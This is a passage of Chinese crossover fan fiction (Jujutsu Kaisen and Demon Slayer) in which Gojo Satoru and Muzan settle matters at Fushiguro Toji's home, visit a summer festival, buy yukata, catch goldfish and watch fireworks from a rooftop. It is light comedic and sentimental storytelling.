眼看旁边的伏黑甚尔看戏看得挺认真的,五条悟心里不爽,直接把争斗引导到他这里。 “喂,我难道不值得你用一顿饭招待招待吗? 我每月给你发工资,你甚至不肯招待我一顿饭。 呜哇啊哦——你这是……” 矫揉造作的话还没说完,五条悟脑壳上喜迎来自拧成团的骨刺的一发暴击。 伏黑甚尔一挑眉,差点就脱口而出“你谁啊”这三个字。但对于金钱的热爱让他硬生生改口。 “行行行,吃吃吃,都可以吃。” 伏黑甚尔直接把手伸进咒灵的肚子里,准备掏毒药了。 “诶诶诶!干嘛呢你。 演都不演了是吧!” 鬼舞辻无惨伸手扶额,头微微侧向一边。 “那么你是否还有维持这段婚姻的念头呢?” 伏黑甚尔:“完全没有,谢谢。” 五条悟满不在乎地接着他的话继续说,“那离呗,津美纪咋整?” “津美纪没得选。”伏黑甚尔耷拉着脸,“当初选择入赘伏黑家的时候,就是看中了那女的不是什么世俗意义上的好人,知道什么该问什么不该问。 我现在要单方面撕毁合作,这家伙估计说什么也不愿意把津美纪捎上。” 五条悟嘟囔了两声,暗道能跟伏黑甚尔混在一起的估计确实没几个好人。 比如坐在他旁边的鬼舞辻无惨。 自己当然除外了,毕竟自己可是有正当理由的! “那让津美纪跟着去高专也不太可能的吧?” 伏黑甚尔:“那就让这俩小家伙自己找地方住算了。反正他俩能照顾好自己,你只要给钱就行。” 伏黑甚尔这句话是对五条悟说的,五条悟两眼一翻,十分精准地捕捉到了锚点。 “我给钱,你嘞?你就这么隐身啦?” “不行吗?”伏黑甚尔笑得轻佻,“反正是你先找上门来要带这小孩走的,你给生活费怎么了?” “那你是惠的爹诶!这不是你的职责吗?” 五条悟皱着眉反问到。 “因为我不称职,我就是个人渣。” 伏黑甚尔成功在不要脸方面完胜五条悟。 五条悟:“……行。” “嘁,开玩笑的。”五条悟扶了下墨镜,仰起头,“我才不要跟你杵在同一章张餐桌上呢。” “留个联系方式,等你把这里的事弄好之后联系我吧。” 五条悟满不在乎地说:“我才不想介入别人的家庭纠纷,你自己看着办。怎么跟小孩们圆我俩的事。 唉,加油吧,某位一点都不称职的人渣父亲。” 五条悟做了个鬼脸,从位置上弹起来就朝门外走,结果发现鬼舞辻无惨还留在原地,刚想出声喊他,津美纪推开厨房的门就端着盘子出来了。 小姑娘还没意识到发生了什么,对着鬼舞辻无惨愣愣地问到。 “客人不留下了吃饭吗?” 鬼舞辻无惨的身子没动,脑袋斜了一点,让红瞳转一圈落在她脸上。 “事务繁忙,见谅。” “没有没有。”津美纪摆摆手,“客人们要注意身体呀,欢迎再来做客!” 鬼舞辻无惨微微点头,平和的不像他原本的作风。 第45章 第 45 章 夏日祭典第一记…… “五条悟, 你脑子没坏掉吧?” 鬼舞辻无惨皱着眉头,身后骨刺挥舞着,但凡五条悟靠近他一米内就要锤他一下。 “大晚上来吵我, 然后跟我说, 你想吃章鱼小丸子?” 从伏黑甚尔的居所回到五条家的时候, 两人住到各自的卧室里。因为早些时候,鬼舞辻无惨和五条悟起了冲突, 这让他的卧室受到了严重的损毁,五条家就给他换了一间。 结果好巧不巧的是,这间卧室就在五条悟房间的对门。 鬼舞辻无惨一直有些不好的预感, 并且, 在五条悟推开窗户,探进来一个脑袋冲他打招呼的时候, 这种预感达到了顶峰。 现在看来,他的第六感可真是准确。 鬼舞辻无惨说着, 自己忍不住扯了下嘴唇,露出一个讥讽似的笑。 “有病别带上我。” “怎么了吗?”五条悟大踏步在前面走,难得没戴墨镜,也有可能是跑出来的时候太急了忘掉了, 所以说不清楚究竟是什么原因。五条悟步子轻快, 额前的发丝一颤一颤的, 拨动着湛蓝的线,他的眼睛仿佛在闪着光。 “这很正常的吧?”五条悟的脸凑过去, 脊骨连着脖颈绕了一个大弯, 到他面前去看他的眼睛,“突然有想吃的东西,很正常的吧?” 鬼舞辻无惨心累, “你完全可以让五条家的厨子给你做的吧。” 五条悟向下弯着嘴,双手捧着脸,掌心挤压着脸颊,让整张脸变得挤在一起。 “不要啦!”五条悟像是想象到了什么可怕的东西,“那群人会正襟危坐,像是在接受什么天大的任务一样。连进来放个菜都要跪下布置,还战战兢兢的生怕我不满意。 有意思吗?完全没意思嗷。” 五条悟悄咪贴近他,趁鬼舞辻无惨没反应过来,一伸胳膊绕住他的肩膀,然后仗着身体优势,把人往自己的方向拉。 鬼舞辻无惨的身子被他扯的往一边偏倒,稍后有些无奈地用手掌撑着他的脑袋,把人推开。 “走嘛!”五条悟的眼睛亮亮的,脸上是一种带着活泼的笑容,洋溢着浓浓的生命力,“而且最近的晚上有祭典诶!我们去玩嘛!” 鬼舞辻无惨双手抱胸,斜着眸子瞥了他一眼,脸上带着点不耐,但又像是习惯了他的做派。 “你是五岁小孩吗?还需要别人陪你出去玩。” “有朋友陪着,不管多少岁都会很开心的吧 ! ! ! ” 五条悟十分不满他的说辞,并对其发动反向攻势,“只有你这种活了一千多年的老头子才会觉得没意思吧!” 鬼舞辻无惨:“拿年龄攻击我没半点作用,太幼稚了,五条悟。” “哈?分明是你太无聊了吧?” 鬼舞辻无惨并不觉得对方攻击到了自己,只是语气平淡地反问到:“既然觉得无聊,那干嘛还要把我喊出来?” 五条悟突然被呛了一下,然后喉咙里跟噎住了一样半天没发出点声音。就这么愣愣顿了几秒,然后莫名其妙语气高昂起来。 “这这这…… 我可是非、非、非、非常关心你的精神状况,对!” 五条悟倒打一耙,没回答方才的那个问题,而是通过提出问题来转移话题。 “所以你在房间里都干啥?我看你闲的慌嘞。” “五条家为我准备了有关现实生活中各类知识的书籍,包括目前科技水平的发展,以及各种电子工具的使用说明。” “哦——”五条悟拉长了声线,“所以你这几天是在学习生活常识吗?” “可以这么说。” 五条悟手臂发力,一边晃着他的肩膀一边嚷嚷到,“这也太无聊了吧!你是怎么看下去的! 评价是不如跟我去祭典!” “我这不是已经在跟你去了?” 虽说是被硬拉着跟上来的,但好歹人已经在这了。 五条悟定定打量了他几眼,“不要,一点都没有逛祭典的准备。” 五条悟在他面前转了个圈,顺带着抬起手向他展示了一下自己身上的和服。 “怎么样!我今晚穿的是蓝色主题的和服,是不是很符合夏天的氛围!” 少年的眼神明亮,月光映在他的瞳孔中,连月亮都为这皎洁的光亮而自惭形秽。周遭的环境不太亮,但月光平等地洒下来,对方的天蓝色和服在昏暗的环境下,显得有些沉闷。 但上面的光影是在动的,斑斑点点,深蓝和浅蓝的色彩交织在一起,像是自然与人类编织的舞。五条悟向来喜欢开朗的、肆意的大笑,带着顽强的生命力,和不羁的活力,不由自主地感染着周遭的一切,让众人的目光聚焦于他之上。 他天然吸引着这些,却天然的不在意这些,仿佛一切都不能折损他的灵魂。 “嗯嗯。”鬼舞辻无惨敷衍地回应了两声,唇角勾起一个笑,“挺好看的。” 五条悟眼睛一亮,拉着他的手就跑了起来。 “喂,你!” 鬼舞辻无惨被他扯着向前,被迫跟着他一起跑了起来。 骨刺慢悠悠地顺着衣服间的缝隙收回,鬼舞辻无惨抬头向前,看着这人在月光下晃动的笑容。 “干嘛,祭典附近的服装店里肯定有卖和服的,现在带你去现买一件咯!” “一定要穿?”鬼舞辻无惨无奈地问到。 “氛围,氛围懂不懂。 西装革履地来参加祭典,太正经了啊——” 离主干道越近,路上的行人就越发地多了起来。三三两两,结伴而行。人们身上各种颜色,各种花纹的和服,整齐中带着一点巧思,那是不同个性的人们,在释放着自己的光彩。 女人们用珠串挽着头发,不小心落下的发丝在额前飘荡,随着夜间的微风起舞,在光影中闪动。有的商贩带着自己的随身小摊,向往来的行人推销自己的商品,狐狸面具混在一面挂着十几个面具的板子上,被来挑选的旅人一眼挑出。 两人从三三两两的人流中穿梭,像是自己也融入了这个环境,伴着欢笑起舞,昭示着人与人间最初的本质。 五条悟在一家装修还算不错的店门口停下,推着鬼舞辻无惨的肩膀走了进去。 “老板在吗?我们来买衣服。” 鬼舞辻无惨扶着额头,看都没看就在架子上选了一件整体黑色的和服,衣身上有灰色的条纹装饰,但不管怎么说,这和热闹的夏日祭典相比,也显得有些低调了。 “啊,不好看! 太素啦!” 五条悟一看就知道他是随便选的,当机立断的就给否定了。 “要我说就这条,这个好看!” 鬼舞辻无惨的视线移过去,五条悟指的是一件以天蓝色作为底色的和服,这家伙可能对蓝色这个主题有点偏爱。和服的上半身以淡淡的天蓝色为打底,袖口处有深蓝色的海浪简笔画花纹。衣服下半截的蓝色逐渐加深,白色和深蓝的线条勾勒出一个个或交叠或远离的海浪符号。 外观是可以,但为什么五条悟喜欢他就要选这条? 鬼舞辻无惨双手抱胸,“是你买还是我买?” 五条悟理所当然地反驳道,“我给你付钱的呀。” 一听这话,鬼舞辻无惨眯起眼睛,视线上上下下把五条悟整个人扫视了一遍,从他那漂亮的湛蓝色瞳孔,再到穿着木屐的脚上。 他的视线确实太过于明目张胆又太过于长久,把五条悟看的都莫名其妙起来了。 鬼舞辻无惨歪了下头,笑的有些不怀好意。 “你确定,自己付的了钱吗?” 五条悟:? “哈?” 五条悟愣了两秒钟,思维从“怎么就付不了钱了”到“和服能有多贵”,再到“艹老子好像没带钱”。 想来也是,本来这次出门就是临时起意,五条悟换好睡衣,人都躺床上了,但莫名的一点睡意都没有。外面的空气带着一股潮湿的热意,但五条悟的房间里还算凉快,所以他确实不明白,是什么东西在困扰着他。 年轻人嘛,睡不着不能硬睡,还可以起来嗨。 所以五条悟直接一个鲤鱼打挺从床上跳了下来,随即摸索到鬼舞辻无惨的房间里,毫无预料地给人来了个突然袭击。 这么想来,他的卡还在校服口袋里,手机应该要么在床头,要么在桌子上,反正不会在自己身上。 五条悟眨巴眨巴眼睛,视线从清澈到呆滞,最后陡然震惊起来。 “靠!” 在五条悟把视线完全转向他之前,鬼舞辻无惨率先开口,“别指望我,我不可能有钱。” 五条悟一脸不信地凑近,望眼欲穿,然后被抵着额头拒绝在外,楞是没让他靠近。 “啊——我看到你口袋里有手机了,交出来交出来。” 鬼舞辻无惨一脸“果真如此”的表情,将西装外套中的口袋拿出来,抛给五条悟。 五条悟的原意是打电话给五条家,让他们送钱来。但这通电话还未拨出,手机先响了起来。接通之后,五条家主温润的声音从对面传来。 “无惨阁下,请问悟君是否同您在一起?” “在在在。”五条悟帮着回答了,然后把自己所在的店铺位置报给他“老头子送点钱过来,出门忘带了。” 直到对面欣然应下,五条悟把手机关掉,冲鬼舞辻无惨一挑眉。 “看,这不就解决啦!” 第46章 第 46 章 夏日祭典第…… “挑这件嘛!” 五条悟一边扶着鬼舞辻无惨的肩膀, 一边嚎叫。 “麻烦拿下黑色那件,我直接换。” 鬼舞辻无惨有效地单方面屏蔽了他,指着自己挑选的黑色和服。 “把这件蓝色的也一起包起来!” 五条悟不死心, 双手缠着鬼舞辻无惨的胳膊, 把人都嗷烦起来了。 “穿这件嘛穿这件——— 我超喜欢的!” 鬼舞辻无惨都快被他整笑了, 正常人劝别人买衣服,不都是劝“这件衣服很适合你”之类的话么, 五条悟劝别人穿,是因为他自己喜欢。 于是五条悟非常完整地收获了一发迎头痛击,一头白毛显得乱糟糟的, 有几簇头发纠缠在一起, 为完美无损的容颜增添了几分真实感。 “一边去。”鬼舞辻无惨没有丝毫动容,拿着自己挑的黑色和服就走进试衣间。 五条悟惨兮兮地被推走了, 眼巴巴地瞅着对方的背影。 “先生,您的和服已经装好了, 欢迎下次光临哦。” 五条悟从店员手里接过已经打包好的和服,身子倾斜着靠在柜台边缘,瞅了眼还没动静的试衣间,猛地又想起鬼舞辻无惨的手机还在他这。 而且没设密码! 五条悟脸上浮现出恶作剧得逞般的笑, 第一反应是点进浏览器, 然后搜索浏览记录。本以为会看到什么不得了的东西, 但那一瞬间跳出的是诸多的专业术语。 上到国际政治,下到历史地理。前到奢侈品高端消费, 后到日常生活的物价水平。说严肃正经, 但有各类搞笑顽梗的文字视频,说通俗幽默,又是大长段大长段的有关前端机械和化学科技的介绍内容。 然后小红点最多的, 是浏览器储存文件的地方,点开一看,不是什么带颜色的文件,而是数十篇外语学习资料,从中韩英等语言,再到各种小语种。 五条悟浏览完,再次将目光落到更衣室的门上,心里万千感叹只化作一句话。 ……这老东西还,嘶,挺那啥的。 五条悟的内心,这个想法和那个想法正纠缠着呢,更衣室的门就打开了。五条悟一看见鬼舞辻无惨的脸,第一反应是盲打将方才自己打开的软件全关掉,然后把手机摁灭,接着装作若无其事地发呆。 然后五条悟的眼睛忍不住瞄了一眼鬼舞辻无惨,瞄完之后立刻收回视线。 再瞄一眼,再收回。 此时此刻,站在店铺对角线的鬼舞辻无惨:…………这人眼睛终于抽了? 衣服异常地贴合鬼王的身形,整体显得流畅而不臃肿。有些卷曲的几缕头发安安分分地挂在耳旁,随着他的步伐而微微晃动,同苍白的脸颊形成鲜明对比。 但那双眸子又是血红的,像是点缀在黑暗中的那一抹亮色。无论是黑还是白,都很衬他的气质,矜贵又高傲的鬼之始祖,他的眸中仿佛不带着任何情绪,平淡而深沉。 五条悟眼睛再次瞄回去,定定地看了几秒,随后一巴掌甩上自己的脸。 没事,不疼。 迎着店员“不懂但大受震撼”的目光,五条悟大踏步上前,顺带着围着鬼舞辻无惨绕了几个圈,边绕嘴里边念念有词。 “……好看!”五条悟猛地出声,引来鬼舞辻无惨的一个无语的眼神,“当然我指的不是和服。 我拒绝将其纳入好看的范畴。” 鬼舞辻无惨将自己叠好的衣物放置到店员准备的塑料袋中,颇为奇怪地看了五条悟一眼。 “要你觉得好看做什么?” 五条悟点头,然后扭头,声音活泼,“对,所以我还是觉得不好看!” 鬼舞辻无惨轻哼一声,选择不去理他。 两人浅浅等了几分钟,等五条家的人到店铺后,五条悟先是要了点现金,然后直接把剩下的事情甩给来人,拉着鬼舞辻无惨就往祭典中心跑去。 “快点快点。” 五条悟现在应该是兴奋到了极点,“中央广场这里晚点的时候还会有花火大会!” 鬼舞辻无惨不怎么想理他,但被人拽着在普通人面前又不好发作,于是只能被迫跟着对方一起跑。 顺带着他也认为,五条悟也压抑着自己,因为如若身旁的不是普通人,他怕不是直接拽着自己的手腾空瞬移了。 鬼舞辻无惨刚想拽住五条悟的手让他停下来,但他还没付诸行动,五条悟自己就直接猛地一个刹车,险些让他撞上五条悟的后背。 下一秒,五条悟的额头上就再次迎来一发暴击。 五条悟控诉地看着鬼舞辻无惨,嘟嘟囔囔地说着一些细碎的不完整语句,鬼舞辻无惨甩了甩袖子,随后理好了自己因为跑动而乱掉的和服。 “干嘛突然停下来。” 五条悟一手扶着额头,另一只手抵着面前这人的肩膀,往他的左边方向推。 “棉花糖诶!我们去买点吧!” 五条悟把他扶着额头的手放了下来,一手握拳,另一只手覆盖在拳头上面,指背抵着下巴。眼睛扑腾扑腾地眨着,像是某种有着漂亮翅膀的蝴蝶在翩飞着,一下一下地和那湛蓝透亮的眸子配合着,显示出某种精致到极端不真实的美感。 “我想你说错了一句话。”鬼舞辻无惨无意去破坏这种氛围,虽说不上享受,但对方如今的所作所为反倒是能让人有足够的容忍。 “你要买就自己去买,我可吃不了人类的东西。” “啊————”五条悟那颗心都被甜滋滋的感觉占满了,仿佛是能跟鬼舞辻无惨感同身受一样,听上去就十分痛苦的嚎了两声,“那你岂不是什么食物都吃不得啦! 苹果糖,喜久福,棉花糖,提拉米苏,千层蛋糕…… 这也太痛苦了!” 五条悟跟报菜名一样库库报出十几个名字,只不过都是甜食就是了,把鬼舞辻无惨听得直皱眉。 “怎么听起来都是甜点?” “因为我是大甜党!”五条悟这声听着还挺骄傲,言之凿凿有理有据,“完全想不通怎么会有人不喜欢吃甜食的啊喂!这分明就是人生的遗憾吧!” 鬼舞辻无惨瞥了他一眼,有理由感觉这家伙是在针对自己。 五条悟和他对上视线,笑眯眯地说到:“我可没有针对你哦。” “是吗?”鬼舞辻无惨露出一个不含善意的微笑,突然想逗逗五条悟,“可惜,在我幼年的时候,身体的脆弱让我完全不能吃想吃的东西,无论是甜品还是油脂。过于刺激的食物会摧毁我的身体,稍有一点不适,我就有可能彻底被病魔吞噬。 而在我变作鬼之后,病痛虽然消失,但同样也只能以非人之身留存于世,对普通人的饮食最多只能算作是无感,而无法食用,更无法品尝其中的滋味。” “啊,这样……”五条悟的眼神一下子就清澈了,嘴里的话支支吾吾半天讲不清楚。 “是的,悟君,正如你所想的那样。” 五条悟眼睛微微瞪大,然后看向对方的眼睛,像是被烫到后猛的收回视线。 但他细细品味,在这玫红色的目光之下,感觉到了满满的趣味。 五条悟瞬间明白这家伙可能是在逗自己玩的。 “喔。”于是他干巴巴的应了一声,既对自己的失策感到不满,又对鬼舞辻无惨的逗弄感觉不满,颇为报复性地回复到,“没关系,你可以看着我吃。” 鬼舞辻无惨低头轻笑。 “知道是骗你的了?” 五条悟控诉地盯着他的眼睛,从中看见了浓浓的笑意,是夹杂在红色之中的斑斓,并非如往日一般平静。 “禁止高危个体使用苦肉计,禁止禁止!” “其实我也没有说错。”鬼舞辻无惨慢悠悠地解释到,“只不过是加了点卖惨的因素进去罢了。” “幼时的在下确实如同我所说的那样,生命无数次受到死亡的威胁。那种感觉太过糟糕,以至于深入骨髓,丝毫无法除去,对生存的渴望贯彻了那一千多年的时光。” “但这是我还作为普通人时候的事了,与那千年的经历相比,确实过于渺小,特别是成为鬼之后,大部分的时光,就只是轮到我给别人带来死亡了。以至于再多的细节,我已然无法记清了。” 两人一边闲聊,一边朝卖棉花糖的商贩那人那里走去。 五条悟要了一蓝一白两个棉花糖,一只手拿着一个。 “你说大部分时光?有谁有能力杀死你吗?” “当然。”鬼舞辻无惨用短短几个词,向五条悟描述了那人,“神明的宠儿,受天命之人,一切所求所愿皆落入空无之人。 他为我带来死亡的威胁,他的悲剧也由我加剧。” 五条悟“嗷呜”地咬下一口棉花糖,由于有无下限术式,所以不用担心棉花糖黏在嘴巴边上,糖屑老老实实进了五条悟的口中。 五条悟边吃边认真地听着,顺带着时不时点评一下鬼舞辻无惨所说的话。 “你说的东西太广泛了,有没有什么具体一点的。比如那家伙给你留下印象最深的是什么?” …… “他曾询问过我一句话。 ————你把生命当做什么了。” “生命?” 五条悟被糖糊着嗓子,黏黏糊糊地挑重点问。 “是啊,生命。” 第47章 第 47 章 夏日祭典第…… 是啊, 生命是什么呢? 自己的生命,他人的生命。 普通人的生命,高位者的生命。 不同的人有不同的衡量, 但抛开一切地位、观念的差别, 生命的本质是什么呢? 鬼舞辻无惨抬头望着天空, 看着那向来漆黑的夜。城市之中早就不怎么看得见星星了,余下的只有一片漆黑。 但恍惚间, 他觉得自己有些魔怔了,或者是五条悟咋咋呼呼的性子也将他感染了些许。鬼舞辻无惨甚至觉得,这祭典之上的点点灯光, 暖黄色的、如星盘上那看似杂乱却有迹可循的光亮一般, 这灯光在地面上燃起,然后愈演愈烈, 甚至沿着天际,势要攀上原本漆黑的夜。 但就在鬼舞辻无惨深夜emo的时候, 五条悟一个惊呼,成功把他的意识拉回到阳间来。 “那里有卖苹果糖的诶!我们快走。” 五条悟一边说着,一边将两根棉花糖的签子握在一起,随后用无下限包裹着另一只手, 飞速地将原本松散的棉花糖揉成一团, 随后一把丢进嘴里。 “这也能让你这么兴奋吗?” 鬼舞辻无惨几乎已经习惯了五条悟的作风了, 在手臂被五条悟拉扯的时候,已经能做到面无表情。甚至顺着五条悟的力道跑动的时候, 还有闲工夫注意衣服的整齐。 诶, 心累。 “不可以兴奋吗!”五条悟爽朗的声音从前面传来,期间洋溢着的活力足以感染任何人,“苹果糖诶!来祭典当然要吃。” 内里的苹果颜色鲜亮, 汁水丰富,一口咬下去,冰糖在齿间炸开,发出清脆的响声,然后苹果的果肉和糖一起被吞入口中,咬碎。水果的清甜和红糖的黏腻融合在一起。 当然,最重要的,在祭典上的,可是那一个个与你一同向苹果糖伸出的手。这是人啊,是生命,是凝聚在欢声笑语之后的本质。 五条悟用空着的另一只手,推了推鬼舞辻无惨的肩膀。 “咋啦,我感觉你怪怪的。” 对啊,是人。 鬼舞辻无惨睁着眼睛,目光透过漫漫长夜,然后落在五条悟的身上。 五条悟咔擦咔擦,两口就把苹果糖吃完了,顺带着舔了舔唇上粘着的糖屑。 五条悟游走的目光又捕捉到了某一个有趣的东西,于是这次,不用他伸手去拽。五条悟回头看向那人的时候,对方就已经迈开步子,走到他面前。 “看见了什么?” 五条悟指了指在角落里的一个卖面具的摊子。 “我之前在祭典玩的时候,基本只买过狐狸面具。”两人不急了,于是一前一后地迈着步子走到摊子面前,“但是这里有三丽鸥的面具诶!我去,好可爱。” 五条悟跟店主要了两个,然后把蓝色的留给自己,另一个随手挑的粉色的递给了鬼舞辻无惨。 鬼舞辻无惨看着手上这个打着粉色蝴蝶结的白色小猫面具,嘴角一抽。再抬头一看,五条悟已经把他那个蓝色的面具戴上了。 鬼舞辻无惨无语沉默,决定再给他一次机会。 “……这有什么说法吗?” “你那可是HelloKitty的,是超级知名的图案。 我的是大耳狗的哦。” 鬼舞辻无惨看着这与自己的形象完全不相适配的面具,最终选择反手将面具放到存放衣服的袋子里。 “干嘛不戴嗷。” 五条悟不满地嚷嚷着,解开面具,露出完整的湛蓝色眼睛,控诉地看着他。 鬼舞辻无惨看着这个戴着蓝色领带的长耳吉祥物,再回忆了一下五条悟戴着大耳狗面具时候的样子,颇为艰难地开口拒绝。 “恕我拒绝。” “嘁。”五条悟嫌弃地哀叹一声,顺带着也把面具摘下来放进装衣服的袋子里。他凑近了,细细打量鬼舞辻无惨的脸,这才发现对方现在的状态简直是一言难尽,“哈哈哈哈……拜托,有那么难以接受吗?” “我觉得很可爱啊!” 鬼舞辻无惨附和地点点头,“可爱,但最好不要出现在我的脸上。” 五条悟曲着手臂,手肘怼了下他的肩膀。 “好了,知道你要端着架子了。”五条悟颇为调侃地说到。 鬼舞辻无惨对这些差不多都免疫了,“你接下来想去做什么?” 五条悟圈着手指,有些不确定地说:“嗯……我们可以去捞金鱼,或者打靶子。当然,基本上每个祭典,都会有这些活动。 有的人可能会觉得无聊,一点都没有新意。” 鬼舞辻无惨:“那你呢?” “我当然是都喜欢啊。”五条悟说前一句话的目的就是为了反驳,“超有意思的,上一次捞金鱼我还以为能破四十五条的记录,但实际上只捞了三十一条,纸网就破掉了。” 不是什么大事,但哪怕现在说起来,五条悟还是会觉得有些遗憾。 “为此我要给硝子提供一个星期的烟,而且那一周出任务时候遇见的咒灵,都要给杰来降服。 太恐怖了啊。” 五条悟眼珠一转,念头直接浮现。 “要不要比一比?” 鬼舞辻无惨瞥了他一眼,深知这家伙不怀好意。 “不要。” “啊————”五条悟耍赖地撒娇道,“玩嘛,很简单的!” 鬼舞辻无惨坚定自己的看法,“你越说,我越觉得你想坑我。” 五条悟撇撇嘴,踢了一脚路边的石子。 “好嘛,不比就不比。”五条悟看着鬼舞辻无惨,颇为无赖地说到,“那你也要陪我去玩。” 鬼舞辻无惨欣然应下。 两人在祭典里找到一个聚集着超多人的捞金鱼的小摊,从人群外面挤了进去。 五条悟给了老板一千日元,买了两个名额,当五条悟把纸网递给鬼舞辻无惨的时候,对方还以为自己只是纯参观来的。 “我也捞?” 五条悟义正言辞,理直气壮,反正就是想让他玩。 “不然嘞,现在这么多人围着,不小玩一下,怎么对得起这个气氛呢!” 五条悟挽起袖子,左手握住小瓶子,右手的食指和大拇指捏住纸网的细杆,眼疾手稳,如入无人之地,刷刷刷就捞起了十几条小金鱼。 话又说回来,六眼能精密操控咒力,五条悟本人也是训练有素的好手,捞几条金鱼轻轻松松。不过,不知是这家店的纸网太差,还是周遭欢闹的人群,确实对他的思维产生了影响,还是因为别的什么原因? 五条悟不知道。 但他现在确实沉溺于平静的幸福里。 只捞了十几条,网就破掉了。店家又拿来了两个纸网,示意他还可以再捞两次。但捞起的金鱼对五条悟来说没有用处,况且他只是玩着图一乐的,再玩多几次,也没什么有趣的。 但自己玩是一个情况,看别人玩又是另一个情况。 鬼舞辻无惨在自己的记忆里第一次玩这种东西,还是被人硬拉着来的,对纸网的脆弱性没有一点了解。网刚入水,还没碰到金鱼呢,就被水波漾起的推力给撑破了。 鬼舞辻无惨:…… 第二次,鬼舞辻无惨吸取了教训,将力道放轻,刚进入水面的瞬间,纸网还是完好的,但一碰到金鱼,就又十分顺利的被撞破了,完全感受不到阻力。 鬼舞辻无惨沉默片刻,再次放轻力道,这一次,纸网在水中完全捞起鱼的时候还是完好的,但在鱼的身子接触到水面的时候,又是一个毫无阻力的表现,纸网随即破裂。 ……鬼舞辻无惨:今日不宜游玩。 在一旁观看完了全程的五条悟,丝毫不掩饰其大声的嘲笑,看鬼舞辻无惨的三个网都没了之后,一边拍着他的肩膀一边捏着嗓子说着。 “呀呀呀————怎么回事啊我的朋友~ 怪不得你一点都不跟我比呢——” 趁对方嘲笑的时候,鬼舞辻无惨一拳砸到他的后脑勺上,五条悟一时没留意,那张俊脸差点被怼到水里。 “靠靠靠!” 在经历“小人得志”和遭到突然袭击之后,五条悟猛的支起身子,双手扒拉着鬼舞辻无惨的肩膀,“不要哇!你不要恼羞成怒哇!” 鬼舞辻无惨:“……我没有恼羞成怒。” 五条悟:不信,并仗着自己的身高优势,揽着鬼舞辻无惨的腰,把人带出了人群,并在出人群后仍不肯放开,于是显而易见的又收获了一记暴击。 当然,可喜可贺的是,五条悟现在已经全然摸清楚了他的行事逻辑,非常有自信地拦下了他的右手。 然后下一秒,五条悟的后脑勺上就被挨了骨刺一个暴击。 “嗷—— 忘了你攻击段数多到离谱了,只格挡了前两段呜呜呜。” 鬼舞辻无惨无语地对他翻了个白眼,右手在对方的胳膊上拍了拍,示意他松开。 但五条悟不清楚是什么原因,没动。他抬起右手,向不远处的高空指过去,在那方向尽头的天空上,那火红绚烂得如璀璨白昼,一簇一簇的烟火,在原本灰蒙蒙的空中炸开,停留短短几秒,随后又消失不见。 但那璀璨确实存在,真真切切。 “看,是烟火!” 五条悟的声音异常兴奋,现在才发现,在被五条悟带着走的时候,他俩早就走到了基本没几个人的角落里。 “我们上楼顶去看吗! 我带你上去!” 第48章 第 48 章 夏日祭典第…… 十几层楼的屋顶, 距离人群稍微显出点距离,让那嘈杂的人声远了些,显得有些缥缈, 但又确实存在。 五条悟带着鬼舞辻无惨在楼顶上站稳, 然后大步走到边缘的地方, 盘着腿坐了下来。和服的下摆叠在一起,湛蓝的色彩交织在一起。五条悟驼着背, 右手撑着侧脸,眼睛一瞬不动地盯着明晃晃的夜空,那斑斓的色彩倒映在他湛蓝的瞳孔中, 像是清晨绽开的鲜花。 那一簇簇的火光从地面升起, 带着众人期盼的目光,一直升到高空, 在皎洁的月光下,璀璨的光亮在一瞬间炸开, 然后向四周散开。一簇一簇的烟火绽放着、交叠着,形成了灿烂而足以点亮黑暗的画卷。 一点一点的光亮围起来,那是圆,但在那图案的边缘, 火星在尽力向外延展, 然后又在重力的作用下不得不下坠, 带着整个烟火一齐下坠,又在下坠的过程中慢慢湮灭, 最终消失。 从蓄势爆发, 到展露最灿烂的模样,再到彻底消失不见,期间也不过短短十几秒。 那黑夜被照亮了十几秒, 随后又暗下去,这光亮的余晖在两人的瞳孔中蔓延,留下了最后的光彩。五条悟的表情也变得平和下来,静静地欣赏,静静地追忆,任由这烟火的光亮打在他的脸上,是一种平静又美好的幸福。 “很漂亮?” 鬼舞辻无惨来到五条悟身边,低下头去看他。 五条悟像是陡然被唤醒,然后猛地扭头,但要仰着脖子看人确实难受的不行。五条悟右手撑了下身体,站起来的时候,顺带着甩了甩腿。 “不漂亮吗?” 五条悟转了下头,烟火的光亮从他眼中消失,他的瞳孔重归于湛蓝色的宁静,其中倒映着面前之人的相貌,他回视过去。 “超级好看啊。”五条悟自信又张扬地笑着,清亮的声音夹杂着烟火炸开的砰砰声,欢愉又明亮。 很漂亮,但转瞬即逝。 鬼舞辻无惨的嘴角微微勾起一个笑,难得变了口径,“嗯,你说的对。 那这轮烟火,大概又能持续多久呢?” “十几分钟。”五条悟歪着头注视着仍旧绚烂的天空,“不清楚,不过这个时间也差不多了。” “是么……只有十几分钟了啊。” 鬼舞辻无惨的声音之中带着点怅惘,五条悟见不得这个,直接伸手揽过他的肩膀,右手十分自然地拿出手机,伸直了手臂举起来,前置摄像头直直地对着两人的脸。 沉思了两三秒,五条悟感觉这个背景有些太暗了,于是没松开手,就着这个姿势,绕着鬼舞辻无惨转了一圈,连带着对方的身体也在原地回旋了一百八十度。 然后两人背对着烟火的绘卷,镜头里原先漆黑的背景天空上,被璀璨的色彩填满。两人肩膀贴着肩膀,鬼舞辻无惨的身子被他揽了过去,眸中露出些许无奈。 “这样好看! 笑一个笑一个!” 许是被这难得的氛围感染,又或者,是偏过头去时,目光触及到了那人脸上如烟火般璀璨的笑,鬼舞辻无惨勾唇,露出一个缱绻的笑容。 五条悟抓住这个时刻,按下拍摄键,让这幅画面留存到手机里。 鬼舞辻无惨的视线也落在画面上,眼睛一转,又对上五条悟那双扑腾着的眼睛。 “…………这是我的手机吧?” 五条悟呲着个大牙,笑得可开心了。 “是啊,怎么了。 哎呀!都怪那群人来送钱的时候,没一起把我的手机给捎上,太可恶了!” 鬼舞辻无惨定定地看着他,眯着眼睛笑起来,五指拽住他面前的头发,然后把这家伙越发凑近的身体往后扯了扯。 没用力,但五条悟跟把他怎么样了似的,嗷个不停,还好现在楼顶上就他们两个。 “哇嗷呜——你好狠的心啊——” 五条悟一边毫无理由地乱叫,一边还有心思躲开鬼舞辻无惨的迎头暴击。 五条悟举着手机,左手比着剪刀手放在脸旁,嘟着嘴给自己库库照了十几张自拍,顺带着强迫鬼舞辻无惨入镜,被瞪了N次仍然不肯罢休。 而时间在流淌,再绚丽的烟火也会平息。 “快结束了吗?” “是啊,确实很快就结束了啊。” 五条悟眼睛一亮,将最满意的一张调出来,摆到鬼舞辻无惨面前。 还是他们最开始拍的那张合照,烟火正盛,岁月正好。 烟火虽然绚丽,但这绚丽的美是短暂的,但人们似乎就是为了这短暂的绚丽,才会去做一些事情。 